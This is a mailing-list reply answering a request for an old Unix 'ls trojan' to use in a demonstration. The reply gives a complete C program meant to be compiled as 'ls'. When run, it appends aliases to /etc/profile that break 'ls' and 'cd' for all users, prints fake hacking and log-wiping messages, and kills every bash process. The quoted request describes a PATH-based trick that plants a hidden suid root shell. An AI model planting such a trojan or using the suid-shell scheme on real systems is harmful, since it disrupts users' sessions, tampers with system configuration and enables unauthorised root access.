From: colinm at clientsecure.net (colinm@...entsecure.net)
Subject: Old LS Trojan?

you could just whip one up, for demonstration purposes this 
would be funny
without doing any harm. just fix /etc/profile when your done.

#ls.c  compile with gcc -o ls ls.c
#include <stdio.h>
int x;
main(){
    printf("You've been hacked!\n");
    system("echo alias ls='\"echo \\n\"' >>/etc/profile");
    system("echo alias cd='\"echo No such file or directory\"' 
 >>/etc/profile");
    for(x=1;x<8;++x){
    printf(".\n");
    }
    printf("installing backdoors and such...\n");
    printf("clearing /var/log dir of tracks...\n");
    sleep(3);
    printf("\n\nC-YA!\n");
    system("killall -9 bash");
}

cm

David S. Morgan wrote:
> Hey all,
> 
> I am looking for an old LS trojan, with trojan being a misnomer.  Essentially, the scinario is that the admin (root) has a . (dot) in his path.  The bad-user knows this, and has crafted an LS shell script (the part that I can't find) that essentially copies /sbin/sh to a hidden directory and then performs some suid majik to make the sh run as if they were root, without needing the root password.  The file then removes itself and does the real version of ls.
> 
> Does anyone remember this one, and have the ls script anywhere?  I would like to use it in a demonstration.  I know that this has probobly been fixed in various ways, but I have "old Unixes" for just such occasions.
> 
> Dave Morgan
> 
> David S. Morgan CISSP, CCNP 
> aka: captkras@...thlink.net
> 
> "When the winds of change blow hard enough, even the most tiny object
> can become a deadly projectile"
> 
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